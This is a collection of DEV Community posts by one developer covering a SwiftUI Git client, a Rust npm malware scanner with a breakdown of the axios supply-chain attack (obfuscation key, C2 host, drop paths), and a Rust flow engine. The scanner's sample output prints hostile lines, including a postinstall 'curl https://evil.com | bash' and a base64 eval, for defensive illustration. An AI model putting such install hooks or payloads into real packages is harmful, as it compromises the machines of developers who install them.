DEV Community: Pool Camacho

Estoy construyendo un cliente de Git nativo para macOS en SwiftUI — así va la semana 1

Pool Camacho — Tue, 14 Apr 2026 06:07:09 +0000

Maple es un cliente de Git nativo, gratis y rápido para macOS hecho en SwiftUI. Sin webviews, sin Electron, sin suscripciones. Habla directo con git en tu máquina y no pretende esconder el modelo real de Git detrás de abstracciones raras.

Repo: https://github.com/poolcamacho/Maple · Licencia: MIT · 🇺🇸 Read in English

Por qué otro cliente de Git

En macOS ya hay GUIs de Git muy decentes — Tower y Fork son las que más me gustan. Empecé Maple por algo más específico: quería una app que fuera gratis, open source, 100% SwiftUI nativo, y sin miedo a exponer el modelo real de Git para power users, y a la vez quería aprender SwiftUI moderno construyendo algo que yo mismo usara todos los días.

Maple arrancó con un brief bien acotado:

100% SwiftUI nativo — sin webviews, sin Electron, abre tan rápido como Terminal.
Gratis y MIT — nunca suscripción.
Muestra Git como es — commit graph con topología real, branches y merges visibles, vista de conflictos de verdad. Cero wizards que escondan lo que está pasando.
Respeta tu flujo — shortcuts y acciones para lo que un power user realmente usa: interactive staging, stash, rebase, merge, cherry-pick.

No pretende reemplazar a Tower para todo el mundo. Es el cliente que yo quería que existiera.

Lo que ya hace

Esto es un post de avance, no un lanzamiento. Las capturas las subiré en el próximo post. Pero esto ya funciona de punta a punta en repos reales (llevo varios días dogfooding con la misma app para commitear su propio código):

Abrir cualquier repo local con el folder picker y validación de .git
Sidebar con lista de repos, branches locales y remotos
Toolbar con Pull, Push, Fetch, Stash, Branch, Merge, Rebase
Cuatro tabs: Changes, History, Branches, Stashes
Diff viewer con hunks coloreados, números de línea, y un toggle de Blame
Commit graph con topología real — algoritmo de lanes, edges curvos por cada parent, merges dibujados con círculos anillados
Merge y rebase con manejo de conflictos — detecta UU/AA/DD, banner de operación con Abort / Continue / Skip, y resolución por archivo con Use Ours / Use Theirs
Auto-refresh vía FSEvents sobre .git/
Layout adaptativo de desktops anchos a pantallas compactas

La arquitectura en una pantalla

Models/     — Data pura y Sendable (AppState, GitModels, StashModels)
Services/   — GitService (actor, ejecuta el CLI)
              GitCoordinator (@MainActor, orquestación)
              Extensiones por comando (GitCommands, GitBranchOps,
              GitStashOps, GitMergeRebase)
              CommitGraphBuilder, ConflictParser, FileWatcher
Views/      — Un archivo por vista, cero lógica de negocio
Utils/      — FolderPicker, DateExtensions

Tres decisiones que vale la pena llamar aparte:

GitService es un actor, así que todas las llamadas al CLI se serializan por un solo "portero". GitCoordinator es @MainActor y hace de pegamento entre la UI y el actor — las vistas solo llaman state.coordinator.* y nunca tocan un Process directamente. Resultado: lógica de negocio cero en las vistas, fácil de testear y refactorizar.

Cada invocación de git abre un /dev/null fresco para stdin y cierra sus pipes explícitamente. Sin eso me salía NSPOSIXErrorDomain code=9 / EBADF después de comandos largos como push, porque FileHandle.nullDevice es un singleton compartido que termina en estados raros después de muchos posix_spawn. Abrir /dev/null por llamada con closeOnDealloc: true lo arregla de tajo.

El commit graph no es el "punto + línea vertical" de toda la vida. Construye un layout real de lanes: para cada commit, reclama el lane que lo estaba esperando (el vínculo child→parent); si no hay, reusa un lane libre. Los primeros parents se quedan en el mismo lane para que la línea principal quede recta; los parents adicionales de merges abren lanes laterales con edges curvos. Los edges se resuelven en una segunda pasada porque un parent puede aparecer muchas filas más abajo.

El UX de conflictos es por archivo, no por hunk — a propósito para v1. Cuando cae un merge con conflicto, el tab Changes marca cada archivo conflictivo con un ! morado, y cada uno tiene tres botones: Use Ours, Use Theirs, o editas los markers tú mismo en tu editor favorito. Arriba aparece un banner persistente que dice Merging X con Abort / Continue / Skip. Sin modales, sin secuestrarte el flujo.

Lo que ya está armado alrededor del código

Porque la idea es que esto crezca como proyecto OSS serio, no como experimento de fin de semana:

GitHub Actions CI — build + xcodebuild analyze + SwiftLint strict en cada push y PR
CodeQL — análisis semanal de Swift más en cada PR que toque código Swift
Workflow de release — taggeas v* y sale un .app sin firmar zipeado automáticamente
Branch protection en master — status checks requeridos, no force push, no delete, conversations resueltas
Dependabot para GitHub Actions, así las versiones no se quedan oxidadas
SECURITY.md con private vulnerability reporting activado
Issue forms y PR template que fuerza la regla de "ni una sola línea de lógica de negocio en las vistas"

Nada de esto es heroico. Es el andamiaje aburrido que separa un hobby project de un repo donde la gente realmente puede contribuir.

Lo que sigue

El roadmap que estoy atacando en orden:

[ ] Interactive staging — stage de hunks o líneas individuales, no solo archivos enteros
[ ] Tag management — crear, listar, borrar tags desde la UI
[ ] Search / filtering — filtrar commits y archivos con fuzzy match
[ ] Clone from URL — ahora solo abres repos existentes, clonar es el paso obvio
[ ] Remote management — agregar, quitar, configurar remotes sin CLI
[ ] Keyboard shortcuts — Cmd+S stage, Cmd+Enter commit, Cmd+K command palette
[ ] Persistir repos abiertos entre sesiones
[ ] Settings & preferences
[ ] Releases firmados + notarizados cuando la app ya esté lista para usuarios no-devs

Pruébalo y ayúdame a darle forma

MIT, open source, todo en público:

→ github.com/poolcamacho/Maple

Si tienes macOS 14+ y Xcode 16+, git clone + Cmd+R y lo tienes corriendo en menos de un minuto. Abre issues si te topas con un flujo de Git que la UI vuelve torpe — prefiero arreglar eso a adivinar qué necesitan los power users.

Si quieres patrocinar el proyecto para que se mantenga gratis y activo, hay botón Sponsor arriba del repo, o directo en github.com/sponsors/poolcamacho. El patrocinio mantiene Maple libre para todos y me ayuda a cubrir el presupuesto de firma + notarización que voy a necesitar para shipear a usuarios no-devs.

El próximo post probablemente sea sobre interactive staging — es el problema de diseño más interesante de la lista. Nos leemos.

I'm building a native macOS Git client in SwiftUI — here's week one

Pool Camacho — Tue, 14 Apr 2026 06:07:09 +0000

Maple is a free, fast, native macOS Git client built with SwiftUI — no web views, no Electron, no subscription. It talks directly to git on your machine and exposes the full power of Git without hiding it behind abstractions.

Repo: https://github.com/poolcamacho/Maple · License: MIT

Why another Git client

There are solid Git GUIs on macOS already — Tower and Fork are both great. I started Maple for a narrower reason: I wanted something that was free, open source, native SwiftUI, and unapologetically power-user friendly, and I wanted to learn modern SwiftUI by building something I'd actually use every day.

So Maple has a pretty specific design brief:

Fully native SwiftUI — no web views, no Electron, opens as fast as Terminal.
Free and MIT-licensed — no subscription, ever.
Shows Git as it is — full commit graph with real topology, visible branches and merges, proper conflict view. No wizards that hide what's happening.
Respects your workflow — shortcuts and actions for the operations power users actually care about: interactive staging, stash, rebase, merge, cherry-pick.

It's not a replacement for Tower for everyone. It's the one I wanted to exist.

What it does today

The screenshots will come later — I'm publishing this as a progress post, not a launch — but here's what's already working end-to-end on a real repo:

Open any local repo via folder picker, with .git validation
Sidebar with repository list, local and remote branches
Toolbar with Pull, Push, Fetch, Stash, Branch, Merge, Rebase
Four tabs: Changes, History, Branches, Stashes
Live diff viewer with colored hunks, line numbers, and a Blame toggle
Commit graph with real topology — lane assignment algorithm, curved edges per parent, merge nodes drawn as ringed circles
Merge and rebase with conflict handling — UU/AA/DD detection, an operation banner with Abort / Continue / Skip, and per-file Use Ours / Use Theirs resolution
Auto-refresh via FSEvents on .git/
Adaptive layout from wide desktops down to compact laptop windows

It's a real client already. I've been dogfooding it to commit and push the work on itself.

The architecture, in one screen

Models/     — Pure Sendable data (AppState, GitModels, StashModels)
Services/   — GitService (actor, CLI execution)
              GitCoordinator (@MainActor orchestration)
              Command extensions (GitCommands, GitBranchOps,
              GitStashOps, GitMergeRebase)
              CommitGraphBuilder, ConflictParser, FileWatcher
Views/      — One file per view, zero business logic
Utils/      — FolderPicker, DateExtensions

A couple of decisions worth calling out:

GitService is an actor, so all CLI calls serialize behind a single gatekeeper. GitCoordinator is @MainActor and sits between the views and the actor — views only call state.coordinator.* and never touch Process or Pipe directly.

Every git invocation uses a fresh /dev/null stdin and closes its pipes explicitly. Without that, I was getting NSPOSIXErrorDomain code=9 / EBADF errors after long-running commands like push, because FileHandle.nullDevice is a shared singleton that drifts into bad states across many posix_spawn calls. Opening /dev/null per call with closeOnDealloc: true fixed it.

The commit graph isn't the usual “dot + vertical line” fake. It builds an actual lane layout: for each commit, claim the lane that expects it (child→parent link), otherwise reuse a free lane. First parents stay in the same lane to keep the main line straight; extra parents on merges spawn side lanes with curved connectors. Edges are resolved in a second pass because a parent may appear many rows later.

Conflict UX is per-file, not per-hunk — on purpose for v1. When a merge conflict lands, the Changes tab lights up conflicted files with a purple ! marker, and each one offers a three-button bar: Use Ours, Use Theirs, or edit the markers in your own editor. A persistent banner at the top of the window shows Merging X with Abort / Continue / Skip. No modal dialogs, no hijacking your workflow.

What's already in place beyond the app itself

Because I want this to grow as a real OSS project and not as a one-off:

GitHub Actions CI — build + xcodebuild analyze + SwiftLint (strict) on every push and PR
CodeQL — scheduled weekly Swift analysis, plus on any PR that touches Swift code
Release workflow — tag v* to publish an unsigned .app zip automatically
Branch protection on master — required status checks, no force push, no deletion, conversation resolution required
Dependabot for GitHub Actions, so pinned action versions stay fresh
SECURITY.md with private vulnerability reporting enabled
Issue forms and a PR template that enforces the “no business logic in views” rule

None of this is heroic, but it's the boring scaffolding that turns a weekend project into something other people can actually contribute to.

What's next

The roadmap I'm actively working through:

[ ] Interactive staging — stage individual hunks and lines instead of whole files
[ ] Tag management — create, list, delete from the UI
[ ] Search filtering — filter commits and files with fuzzy matching
[ ] Clone from URL — right now you open existing repos; cloning is the obvious next step
[ ] Remote management — add, remove, configure remotes without dropping to CLI
[ ] Keyboard shortcuts — Cmd+S to stage, Cmd+Enter to commit, Cmd+K for the command palette I haven't built yet
[ ] Persist open repositories between sessions
[ ] Settings & preferences
[ ] Signed + notarized releases once the app is ready for non-developer users

Try it, and help shape where it goes

It's MIT-licensed, open source, and built in public:

→ github.com/poolcamacho/Maple

If you're on macOS 14+ with Xcode 16+, git clone and Cmd+R in Xcode gets you running in under a minute. Please open issues — especially if you hit a Git workflow the UI makes awkward. I'd much rather fix that than guess what power users need.

And if you want to sponsor the work so it stays free and actively maintained, there's a Sponsor button at the top of the repo, or you can go directly to github.com/sponsors/poolcamacho. Sponsorship keeps Maple free for everyone and funds the signing + notarization budget I'll need for shipping to non-developers.

Next post will probably be about interactive staging — that one's the most interesting design problem on the list. Stay tuned.

The Axios Attack Proved npm audit Is Broken. Here's What Would Have Caught It

Pool Camacho — Mon, 06 Apr 2026 03:35:13 +0000

Five days ago, North Korean state hackers hijacked one of the most trusted packages in the JavaScript ecosystem, axios, with 100 million weekly downloads, and turned it into a Remote Access Trojan delivery system.

The attack was live on npm for three hours. npm audit flagged nothing.

If you ran npm install during that window, your machine may have been silently backdoored. Here's exactly how the attack worked, why traditional tools missed it, and how behavioral analysis would have caught it before a single byte of malicious code executed.

The attack, minute by minute

The timeline shows a methodical, multi-stage operation:

Time (UTC)	Event
Mar 30, 05:57	`plain-crypto-js@4.2.0` published, a clean decoy to establish publishing history
Mar 30, 23:59	`plain-crypto-js@4.2.1` published, now with a malicious `postinstall` hook
Mar 31, 00:21	`axios@1.14.1` published, adds `plain-crypto-js` as a dependency
Mar 31, 01:00	`axios@0.30.4` published, targeting legacy users still on 0.x
Mar 31, ~03:15	npm yanks both malicious axios versions (~3 hours live)

The attacker compromised the npm account of axios's lead maintainer (jasonsaayman), changed the account email to ifstap@proton.me, and published two surgical updates. No axios source code was modified. The only change was one line added to package.json:

"dependencies": {
  "plain-crypto-js": "^4.2.1"
}

That's it. One dependency. One line. That's all it takes.

What the payload did

When npm install resolved the new dependency, plain-crypto-js ran a postinstall hook that executed setup.js, a 4.2 KB dropper with two-layer obfuscation (reversed Base64 + XOR cipher with key "OrDeR_7077").

The decoded dropper:

Detected your OS (macOS, Windows, Linux)
Downloaded a platform-specific RAT from sfrclak[.]com:8000
Deleted all evidence, removed setup.js, swapped the malicious package.json for a clean one reporting version 4.2.0

The whole process took 1.1 seconds from npm install to C2 callback.

Platform payloads

macOS: Binary dropped to /Library/Caches/com.apple.act.mond (disguised as an Apple system daemon), executed via /bin/zsh.

Windows: PowerShell copied to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), VBScript + PowerShell dropper chain.

Linux: Python RAT downloaded to /tmp/ld.py, detached to PID 1 with nohup.

The RAT capabilities included system fingerprinting, 60-second C2 beacon, binary injection (peinject), and remote shell execution. Any machine that ran the install was considered fully compromised.

Why npm audit said nothing

This is the part that matters for every JavaScript developer.

npm audit checks your dependency tree against the GitHub Advisory Database, a list of known, reported vulnerabilities. It's reactive by design. It can only warn you about threats that have already been discovered, analyzed, and filed as advisories.

During the three hours that axios@1.14.1 was live:

❌ npm audit, silent. No advisory existed yet.
❌ npm outdated, it looked like a normal version bump.
❌ Lockfile checks, a lockfile only prevents this if you never update.
❌ Code review, no axios source was changed. The attack hid in a transitive dependency.

The attack was specifically designed to be invisible to these tools.

What behavioral analysis catches

The attack had multiple behavioral red flags that don't require a vulnerability database. They're structural, detectable by analyzing what the code does, not checking if someone filed a report about it.

I built aegis-scan to detect exactly these patterns. Here's how each analyzer would have responded to this attack:

1. Install Script Analyzer → 🚨 CRITICAL

plain-crypto-js used a postinstall hook to execute node setup.js. aegis-scan flags any lifecycle script that executes a .js file, and escalates to CRITICAL when that file contains network calls or encoded strings.

⛔ CRITICAL, Suspicious Install Script
│  postinstall executes JavaScript file: "node setup.js"
│  📄 node_modules/plain-crypto-js/package.json

2. Obfuscation Analyzer → 🚨 CRITICAL

setup.js was XOR-encoded with reversed Base64. aegis-scan's entropy analysis would flag the high-entropy strings, and the base64/hex pattern detector would catch the encoded payloads, even with the custom encoding scheme.

⛔ CRITICAL, Obfuscated Code
│  High entropy string detected (Shannon entropy > 5.5)
│  📄 node_modules/plain-crypto-js/setup.js:12

3. Static Code Analyzer → 🚨 HIGH

The decoded payload uses child_process.exec() to launch shell commands, fs.unlink() for self-deletion, and hardcoded IP addresses for C2 communication, all patterns aegis-scan detects via regex and AST analysis.

⚠️ HIGH, Code Execution
│  child_process exec with dynamic argument
│  📄 node_modules/plain-crypto-js/setup.js

4. Maintainer Analyzer → ⚠️ HIGH

The compromised maintainer account had its email changed to a Proton Mail address (ifstap@proton.me) shortly before publishing. aegis-scan flags email domain changes on established packages as a maintainer takeover signal.

⚠️ HIGH, Maintainer Change
│  Primary maintainer email domain changed before release
│  📄 axios@1.14.1 metadata

5. Dependency Tree Analyzer → ⚠️ MEDIUM

plain-crypto-js was a brand-new dependency with no download history, added to a package that hadn't changed its dependency list in months. aegis-scan's dep tree analyzer flags new, unestablished transitive dependencies, especially those with install scripts.

⚠️ MEDIUM, Suspicious Dependency
│  New dependency "plain-crypto-js" has install scripts and minimal history

The combined score

Each finding individually would raise the risk score. Together, they'd push the package well past the danger threshold:

$ aegis-scan check axios@1.14.1

  📦 axios@1.14.1

  ⛔ CRITICAL, Install Script: postinstall executes "node setup.js"
  ⛔ CRITICAL, Obfuscation: high entropy encoded payload in setup.js
  ⚠️  HIGH, Code Execution: child_process.exec with shell command
  ⚠️  HIGH, Maintainer Change: email domain changed before release
  ⚠️  MEDIUM, Suspicious Dependency: new dep with install scripts

  Risk: 9.2/10, DO NOT INSTALL

Five analyzers. Five independent red flags. No advisory database required.

The uncomfortable truth

The axios attack wasn't sophisticated. It used a postinstall hook, the oldest trick in the npm playbook. The obfuscation was basic XOR. The C2 was a raw HTTP server on port 8000.

And it still worked, because the ecosystem's primary defense (npm audit) is fundamentally reactive.

Here's what this means for your workflow:

npm audit is not a security tool. It's an advisory lookup. It tells you about problems that other people already found. It will never protect you from a zero-day supply chain attack.

The attack surface is structural:

npm runs arbitrary code at install time via lifecycle scripts
Dependency resolution is transitive and opaque
Most developers never audit new transitive dependencies
The gap between "malicious code published" and "advisory filed" is hours to days

Closing that gap requires analyzing behavior, not checking databases.

What you can do today

Right now:

Check if you installed axios between Mar 30 23:00 UTC and Mar 31 03:15 UTC
Run ls node_modules/plain-crypto-js, if that directory exists, you were hit
Rotate every credential on the affected machine

Going forward:

# Install aegis-scan
cargo install aegis-scan

# Scan your project
aegis-scan scan .

# Or gate your installs
aegis-scan install express lodash axios

The install command scans first, installs only if the risk score is below the threshold. You can also run it in CI:

- uses: z8run/aegis-action@v1
  with:
    path: '.'
    fail-on: 'high'
    sarif: 'true'

Disable install scripts for untrusted packages:

# npm 11.10+
npm config set install-strategy=hoisted
npm install --ignore-scripts

# Then selectively allow trusted packages
npx --yes allow-scripts

It's open source

aegis-scan is MIT-licensed: github.com/z8run/aegis. It runs locally, offline, with no accounts or API keys.

The axios attack was a wake-up call, but it won't be the last. The next one might not be caught in three hours. It might not be caught for weeks. The only defense that works against unknown threats is analyzing what code actually does, before it runs on your machine.

This is a follow-up to my previous post "I Built an npm Malware Scanner in Rust Because npm audit Isn't Enough". If you have questions or want to contribute, open an issue on GitHub.

I built an npm malware scanner in Rust because npm audit isn't enough

Pool Camacho — Fri, 03 Apr 2026 16:18:44 +0000

Last week I ran npm install on a new project. 847 packages downloaded in twelve seconds. And I thought: what if one of those just stole my AWS keys?

Not a crazy thought. It happened before.

In 2018, event-stream got a new maintainer who slipped in code that stole cryptocurrency wallets. Two million weekly downloads. In 2021, ua-parser-js was hijacked to install cryptominers. In 2022, the author of colors.js broke it on purpose, taking down thousands of projects overnight.

All of them passed npm audit with zero warnings.

npm audit only catches what someone already reported

npm audit checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent. That gap between "malicious code gets published" and "someone notices" can be days or weeks. By then, you already have it in your node_modules.

Snyk and Socket are better at this, but they're SaaS. You need an account, sometimes a paid plan, and your code goes to their servers for analysis.

I wanted something different: a tool that downloads the package, looks at the actual code, and tells me if something looks wrong. Locally. No accounts. No cloud.

So I built aegis-scan.

What it does

aegis-scan is a Rust CLI. You point it at a package and it tells you if the code looks suspicious:

$ aegis-scan check suspicious-pkg@1.0.0

  📦 suspicious-pkg@1.0.0

  ⛔ CRITICAL: Code Execution
  │  eval() with base64 encoded payload
  │  📄 lib/index.js:14
  │  └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())

  ⚠️  HIGH: Install Script
  │  postinstall downloads and executes remote script
  │  📄 package.json
  │  └─ "postinstall": "curl https://evil.com | bash"

  Risk: 8.5/10

It downloads the tarball from npm, extracts it, and runs 9 different analyzers on the code. Then gives you a score from 0 to 10.

What it catches

Obfuscated eval with encoded payloads. The #1 pattern in npm malware. aegis-scan uses tree-sitter to parse the JavaScript AST, so it catches these even when spread across multiple statements.

Suspicious install scripts. A postinstall that runs curl | bash is how most npm attacks get code execution. aegis-scan flags any shell commands or network calls in lifecycle scripts.

Maintainer takeovers. When a package suddenly gets a new maintainer (like event-stream did), that's a red flag. aegis-scan checks the npm registry metadata for ownership changes.

AI hallucination packages. ChatGPT and Copilot sometimes suggest packages that don't exist. Attackers register those names with malicious code. aegis-scan flags packages that look like they were created just to catch this.

Known CVEs. Checks against the OSV.dev vulnerability database.

Typosquatting. Catches axois instead of axios, lodassh instead of lodash.

Getting started

cargo install aegis-scan

# check one package
aegis-scan check axios

# scan your whole project
aegis-scan scan .

# scan and then install
aegis-scan install express

If you don't have Rust, grab a binary from the releases page.

CI integration

You can add it to your GitHub Actions pipeline:

- uses: z8run/aegis-action@v1
  with:
    path: '.'
    fail-on: 'high'
    sarif: 'true'

With sarif: true, results show up in GitHub's Security tab. The action fails the build if any dependency is rated HIGH or CRITICAL.

How it works

aegis-scan pulls the package tarball, extracts it to a temp dir, and runs these analyzers:

Static code analysis (regex patterns for eval, child_process, env harvesting)
AST analysis (tree-sitter parses JS to catch structural patterns regex misses)
Install script analysis (preinstall/postinstall hooks)
Obfuscation detection (entropy analysis, encoded payloads)
Maintainer tracking (ownership changes, new accounts)
Hallucination detection (fake packages from LLM suggestions)
CVE lookup (OSV.dev)
Typosquatting check
Custom YAML rules

Findings get weighted by severity and summed into a 0-10 risk score. Results are cached for 24 hours so repeated checks are instant.

It's Rust, so scanning 50+ dependencies takes a few seconds, not minutes.

Custom rules

You can add your own detection rules as YAML files:

id: "CUSTOM-001"
name: "Crypto wallet regex"
severity: high
pattern: "(?:bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}"
file_pattern: "*.js"

Drop them in a rules/ directory or pass --rules ./my-rules/.

Open source

MIT license. Code is at github.com/z8run/aegis.

Try running aegis-scan scan . on your current project. You might be surprised.

If you find it useful, a star on the repo helps other devs find it. And if it catches something real, I'd love to hear about it.

I Built a Visual Flow Engine in Rust to Replace Node-RED and n8n

Pool Camacho — Thu, 02 Apr 2026 01:46:36 +0000

Why I started this project

I've spent years using Node-RED and n8n for workflow automation. They work well for small setups, but once you push them with hundreds of nodes and real-time data, things start to fall apart. Memory usage goes through the roof, a bad plugin can take down the whole process, and the JSON-over-WebSocket approach gets sluggish with large flows.

I wanted something faster. Something I could deploy as a single binary without dragging along node_modules. So I started building z8run, a visual flow engine written in Rust.

What does z8run do?

It's a self-hosted workflow automation tool with a drag-and-drop editor. Think Node-RED or n8n, but the backend is compiled Rust running on Tokio.

You design flows visually in the browser, connect nodes together, and deploy. The engine executes them as DAGs (directed acyclic graphs) with automatic parallelization.

What makes it different

Single binary deploy. No runtime, no dependencies. Just download and run.
WASM plugin sandbox. Plugins run inside wasmtime with explicit capability grants. You control what each plugin can access: network, filesystem, memory. A misbehaving plugin can't crash your server.
Binary WebSocket protocol. 11-byte header instead of full JSON payloads. The editor stays responsive even with complex flows.
Built-in credential vault. API keys and secrets are encrypted with AES-256-GCM at rest. No more plaintext credentials in config files.
23 built-in nodes including 10 AI nodes (LLM, embeddings, vector store, classifier, etc.)

Architecture

The project is organized as a Rust workspace:

z8run/
├── z8run-core       # Flow engine, DAG validation, scheduler
├── z8run-protocol   # Binary WebSocket protocol
├── z8run-storage    # SQLite / PostgreSQL persistence
├── z8run-runtime    # WASM plugin sandbox (wasmtime)
└── z8run-api        # REST + WebSocket server (Axum)

The scheduler compiles flows into parallel execution plans using topological ordering. Nodes that don't depend on each other run concurrently, which makes a big difference in flows with lots of branching.

Quick comparison

Feature	z8run	Node-RED	n8n
Language	Rust	Node.js	Node.js
WASM plugins	Yes	No	No
AI nodes built-in	10	Community	Limited
Binary protocol	Yes	JSON	JSON
Credential vault	AES-256-GCM	Separate	Built-in
Single binary	Yes	No	No
License	Apache-2.0 / MIT	Apache-2.0	Sustainable Use

Built-in nodes

z8run ships with 23 nodes across 6 categories:

Input: HTTP In, Timer, Webhook (HMAC-SHA256 validation)
Process: Function, JSON Transform, HTTP Request, Filter
Output: Debug, HTTP Response
Logic: Switch (multi-rule routing), Delay
Data: Database (PostgreSQL, MySQL, SQLite), MQTT
AI: LLM, Embeddings, Classifier, Prompt Template, Text Splitter, Vector Store, Structured Output, Summarizer, AI Agent, Image Gen

The AI nodes are probably the feature I'm most proud of. You can chain a prompt template into an LLM call, pipe the result through a classifier, and store embeddings in a vector store. All visual, no code required.

Getting started

From source:

git clone https://github.com/z8run/z8run.git
cd z8run
cp .env.example .env
cargo build --release
cargo run --bin z8run -- serve

Or with Docker:

docker pull ghcr.io/z8run/z8run-api:latest
docker compose up -d

Server starts on http://localhost:7700.

# Health check
curl http://localhost:7700/api/v1/health

# Create a flow
curl -X POST http://localhost:7700/api/v1/flows \
  -H "Content-Type: application/json" \
  -d '{ "name": "My First Flow" }'

Why Rust for this?

Flow engines are long-running processes. You need predictable memory usage, no GC pauses, and consistent latency when processing thousands of messages per second through a DAG.

Rust also has first-class WASM support through wasmtime, which gave me a production-grade sandbox for plugins without having to build one from scratch.

The tradeoff is obvious: Rust is slower to write than TypeScript. But for infrastructure that runs 24/7, I'll take that tradeoff every time.

What's next

z8run is at v0.2.0. Coming up:

Plugin marketplace
Helm chart for Kubernetes
Undo/redo and flow duplication in the editor
Rate limiting on the API

The project is open source and I'd love feedback:

If you've been looking for a faster alternative to Node-RED or n8n, give it a shot and let me know what you think.